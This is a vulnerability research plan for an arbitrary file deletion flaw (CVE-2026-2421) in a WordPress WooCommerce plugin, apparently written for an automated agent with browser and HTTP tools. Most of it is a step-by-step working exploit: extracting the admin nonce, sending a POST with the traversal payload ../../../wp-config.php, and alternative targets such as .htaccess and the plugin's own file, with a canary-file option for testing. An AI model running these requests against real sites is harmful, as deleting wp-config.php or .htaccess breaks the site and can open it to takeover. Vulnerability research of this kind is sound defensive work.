Vulnerability Research Plan: CVE-2026-2421 - Arbitrary File Deletion in ilGhera Carta Docente for WooCommerce

1. Vulnerability Summary

The ilGhera Carta Docente for WooCommerce plugin (versions <= 1.5.0) contains a path traversal vulnerability in its certificate deletion functionality. Specifically, the delete_certificate_callback function in includes/class-wccd-admin.php takes a filename from the cert POST parameter and concatenates it with a base directory constant (WCCD_PRIVATE) before passing it directly to unlink().

While the input is passed through sanitize_text_field(), this WordPress function does not remove directory traversal sequences (e.g., ../). An authenticated Administrator can exploit this to delete any file the PHP process has permission to remove, including the critical wp-config.php file.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wccd-delete-certificate
• Vulnerable Parameter: cert (POST)
• Required Parameters:
  • action: wccd-delete-certificate
  • wccd-delete: (Any value, must be set)
  • delete-nonce: (Valid CSRF nonce for action wccd-del-cert-nonce)
  • cert: Path traversal payload (e.g., ../../../wp-config.php)
• Authentication Level: Administrator (manage_options capability is required to access the settings page where the nonce is generated, and the AJAX action is registered within the WCCD_Admin class).
• Preconditions: The plugin must be active. WooCommerce must be active.

3. Code Flow

1. Entry Point: In includes/class-wccd-admin.php, the __construct() method registers the AJAX action:

   add_action( 'wp_ajax_wccd-delete-certificate', array( $this, 'delete_certificate_callback' ), 1 );
   

2. Logic Trigger: The function delete_certificate_callback() is invoked.
3. Nonce Check: The code verifies a nonce named wccd-del-cert-nonce passed via delete-nonce:

   if ( isset( $_POST['wccd-delete'], $_POST['delete-nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['delete-nonce'] ) ), 'wccd-del-cert-nonce' ) ) {
   

4. Input Acquisition: The cert parameter is retrieved:

   $cert = isset( $_POST['cert'] ) ? sanitize_text_field( wp_unslash( $_POST['cert'] ) ) : '';
   

5. Vulnerable Sink: If $cert is not empty, it is concatenated with WCCD_PRIVATE and deleted:

   unlink( WCCD_PRIVATE . $cert );
   

6. Path Resolution: WCCD_PRIVATE is defined in wc-carta-docente.php relative to the WordPress uploads directory: wp-content/uploads/wccd-private/. Traversal starts here.

4. Nonce Acquisition Strategy

The nonce is localized specifically for the plugin's settings page in the WordPress admin dashboard.

1. Navigate to the Settings Page: The plugin registers its settings page at admin.php?page=wccd-settings (as a submenu of woocommerce).
2. Extracting the Nonce: The nonce is passed to the frontend using wp_localize_script() in wc-carta-docente.php:

   wp_localize_script(
       'wccd-admin-scripts',
       'wccdData',
       array(
           'delCertNonce' => $delete_nonce,
           'addCatNonce'  => $add_cat_nonce,
       )
   );
   

3. Browser Execution:
   • Use browser_navigate to go to /wp-admin/admin.php?page=wccd-settings.
   • Use browser_eval to extract the nonce: window.wccdData?.delCertNonce.

5. Exploitation Strategy

The goal is to delete wp-config.php to force WordPress into a setup state, or simply to demonstrate arbitrary file deletion.

1. Setup User: Create an Administrator user (if not already logged in).
2. Get Nonce: Follow the strategy in Section 4 to obtain a valid delCertNonce.
3. Determine Traversal Depth:
   • WCCD_PRIVATE is wp-content/uploads/wccd-private/.
   • To reach root (where wp-config.php resides), the traversal is: ../../../wp-config.php.
   • wccd-private/ -> .. -> uploads/ -> .. -> wp-content/ -> .. -> root.
4. Send Exploitation Request:
   • Tool: http_request
   • Method: POST
   • URL: [TARGET_URL]/wp-admin/admin-ajax.php
   • Body (URL-encoded):

     action=wccd-delete-certificate&wccd-delete=1&delete-nonce=[NONCE]&cert=../../../wp-config.php
     

   • Headers: Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

1. Plugin Activation: Ensure wc-carta-docente and woocommerce are installed and activated.
2. Target File: Ensure wp-config.php exists (standard for WP) or create a canary file for safer testing:
   • wp eval "file_put_contents(ABSPATH . 'canary.txt', 'pwned');"
3. Traversal to Canary: If using canary.txt, the cert parameter should be ../../../canary.txt.

7. Expected Results

• The AJAX request will likely return a 200 OK or 0 (as it calls exit; immediately after processing).
• The target file (e.g., wp-config.php or canary.txt) will be removed from the server filesystem.
• If wp-config.php is deleted, navigating to the homepage will redirect to wp-admin/setup-config.php.

8. Verification Steps

1. Check Filesystem: Use WP-CLI to check if the file still exists.
   • wp eval "echo file_exists(ABSPATH . 'canary.txt') ? 'exists' : 'deleted';"
   • Or check wp-config.php: ls /var/www/html/wp-config.php (if in a shell).
2. Check Site State: Attempt to access the site; a missing wp-config.php triggers the WordPress installation screen.

9. Alternative Approaches

• Deletion of .htaccess: If wp-config.php is protected by filesystem permissions, try deleting .htaccess (../../../.htaccess) to break site routing.
• Plugin Deletion: Delete the main plugin file to disable security checks: ../../wc-carta-docente.php.
• WCCD_PRIVATE Discovery: If the standard traversal depth fails, it may be because the uploads folder is moved. Verify the constant value:
  • wp eval "echo WCCD_PRIVATE;" to confirm the starting directory.